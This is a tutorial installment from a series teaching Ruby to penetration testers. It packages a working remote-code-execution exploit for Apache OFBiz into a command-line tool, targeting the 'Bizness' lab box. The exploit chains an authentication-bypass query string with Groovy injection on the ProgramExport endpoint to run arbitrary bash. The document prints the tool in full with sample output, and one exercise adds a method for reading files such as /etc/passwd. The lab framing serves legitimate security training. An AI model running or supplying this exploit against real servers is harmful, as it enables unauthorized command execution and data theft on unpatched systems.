// Ruby for Pentesters · Part 8
From scripts to a tool
Several throwaway scripts that all rebuild the same HTTP client. We fold them into one reusable class and give it a real command-line interface with OptionParser — the jump from scripting to tooling.
Every part so far reopened the same file and re-declared the same get/post
plumbing. That’s fine while you’re learning a box, but the moment you want to
reuse it — or hand it to a teammate — you want one tool, not four scripts.
This part is the object-oriented turn: we wrap the whole client in a class and
put a proper command-line interface on the front.
A class is state plus behavior
A class bundles data (state) with the methods that act on it. Ours holds the
connection and exposes one verb — run a command:
class Bizness
BYPASS = 'USERNAME=&PASSWORD=&requirePasswordChange=Y'
def initialize(base)
@base = base
uri = URI(base)
@http = Net::HTTP.new(uri.host, uri.port)
@http.use_ssl = uri.scheme == 'https'
@http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
end
initializeruns once when you writeBizness.new('https://bizness.htb'). It’s the constructor.@baseand@httpare instance variables — they belong to that object and stay alive for its whole life, so every method can reach them without being passed the connection again.BYPASSis a constant scoped inside the class (Bizness::BYPASS) — the same auth-bypass string from Part 2, now owned by the tool.
Methods, public and private
The one thing a caller should do is run a command. The HTTP details —
get, post — are internals, so we mark them private: callable from inside
the object but not from outside.
def run(cmd)
groovy = "throw new Exception(['bash', '-c', '#{cmd}'].execute().text)"
post("/webtools/control/ProgramExport?#{BYPASS}", 'groovyProgram' => groovy).body
end
private
def get(path)
@http.request(Net::HTTP::Get.new(URI("#{@base}#{path}").request_uri))
end
def post(path, form)
req = Net::HTTP::Post.new(URI("#{@base}#{path}").request_uri)
req.set_form_data(form)
@http.request(req)
end
Everything below private is hidden from callers. run is the same Groovy
trick from Part 3, but now it reuses the object’s stored @http instead of
rebuilding a connection every call. The class encapsulates the messy parts and
hands the outside world a single clean verb.
Check before you fire
A good tool tells you whether a target is even vulnerable before you throw a
payload at it. Add a second public verb — a predicate (Part 2’s ? convention)
that runs a harmless id and reports whether it worked:
def vulnerable?
run('id').include?('uid=')
rescue StandardError
false
end
Note there’s no begin here. A method body is an implicit begin, so it can
rescue directly — if the host is down or the bypass is patched, run raises,
we catch it, and return false instead of dumping a backtrace. “Is this target
exploitable?” is now one honest boolean. (Metasploit modules have a check
method that does exactly this — Part 8 is closer than it looks.)
A real command line
A tool takes arguments. Ruby’s standard OptionParser turns raw ARGV into
parsed flags with --help for free:
options = { target: 'https://bizness.htb' }
OptionParser.new do |opts|
opts.banner = 'Usage: bizness.rb [options] [command]'
opts.on('-t', '--target URL', 'Base URL of the box') { |v| options[:target] = v }
opts.on('-c', '--check', 'Check if the target is vulnerable') { options[:check] = true }
end.parse!
box = Bizness.new(options[:target])
if options[:check]
puts box.vulnerable? ? '[+] vulnerable' : '[-] not vulnerable'
else
command = ARGV.empty? ? 'id' : ARGV.join(' ')
puts box.run(command)
end
opts.on('-t', '--target URL', ...)declares a flag that takes a value; its block fires with that value.'--check'with no value argument is a boolean flag — present or not — so its block just setsoptions[:check] = true..parse!consumes the recognized flags out ofARGVin place, so whatever is left inARGVis the positional command —idby default.- You get
-h/--helpgenerated from the banner and flag descriptions at no extra cost.
Now it behaves like a tool — probe first, then operate:
$ ruby bizness.rb --check
[+] vulnerable
$ ruby bizness.rb -t https://bizness.htb 'whoami'
ofbiz
The tool, complete
#!/usr/bin/env ruby
# frozen_string_literal: true
require 'net/http'
require 'uri'
require 'optparse'
class Bizness
BYPASS = 'USERNAME=&PASSWORD=&requirePasswordChange=Y'
def initialize(base)
@base = base
uri = URI(base)
@http = Net::HTTP.new(uri.host, uri.port)
@http.use_ssl = uri.scheme == 'https'
@http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
def run(cmd)
groovy = "throw new Exception(['bash', '-c', '#{cmd}'].execute().text)"
post("/webtools/control/ProgramExport?#{BYPASS}", 'groovyProgram' => groovy).body
end
def vulnerable?
run('id').include?('uid=')
rescue StandardError
false
end
private
def get(path)
@http.request(Net::HTTP::Get.new(URI("#{@base}#{path}").request_uri))
end
def post(path, form)
req = Net::HTTP::Post.new(URI("#{@base}#{path}").request_uri)
req.set_form_data(form)
@http.request(req)
end
end
options = { target: 'https://bizness.htb' }
OptionParser.new do |opts|
opts.banner = 'Usage: bizness.rb [options] [command]'
opts.on('-t', '--target URL', 'Base URL of the box') { |v| options[:target] = v }
opts.on('-c', '--check', 'Check if the target is vulnerable') { options[:check] = true }
end.parse!
box = Bizness.new(options[:target])
if options[:check]
puts box.vulnerable? ? '[+] vulnerable' : '[-] not vulnerable'
else
command = ARGV.empty? ? 'id' : ARGV.join(' ')
puts box.run(command)
end
Takeaways
- A class groups state and behavior;
initializeis the constructor and@ivarspersist for the object’s lifetime, so the connection is built once. privatehides internal methods (get/post) so the class exposes a deliberate surface (run,vulnerable?) — that’s encapsulation.- A method body is an implicit
begin, so it canrescuedirectly — the clean way to turn a failure into afalseinstead of a crash. - Constants (
BYPASS) scoped inside a class travel with the tool instead of floating as globals. OptionParseris the standard way to turnARGVinto flags with a generated--help;.parse!leaves the positional args behind for you.
Exercises
- Add a
loot(path)method toBiznessthat returnsrun("cat #{path}"), sobox.loot('/etc/passwd')reads a file in one call. - Add a
--verboseboolean flag that, when set, prints the full response body instead of just the matched line. - Give the class an
attr_reader :baseand ato_sthat returns"Bizness(#{@base})", so aBiznessobject prints something useful.
Next — Part 9: a tool you’ll rerun deserves a safety net. We write tests for it with Ruby’s built-in minitest, and learn to design code that’s testable.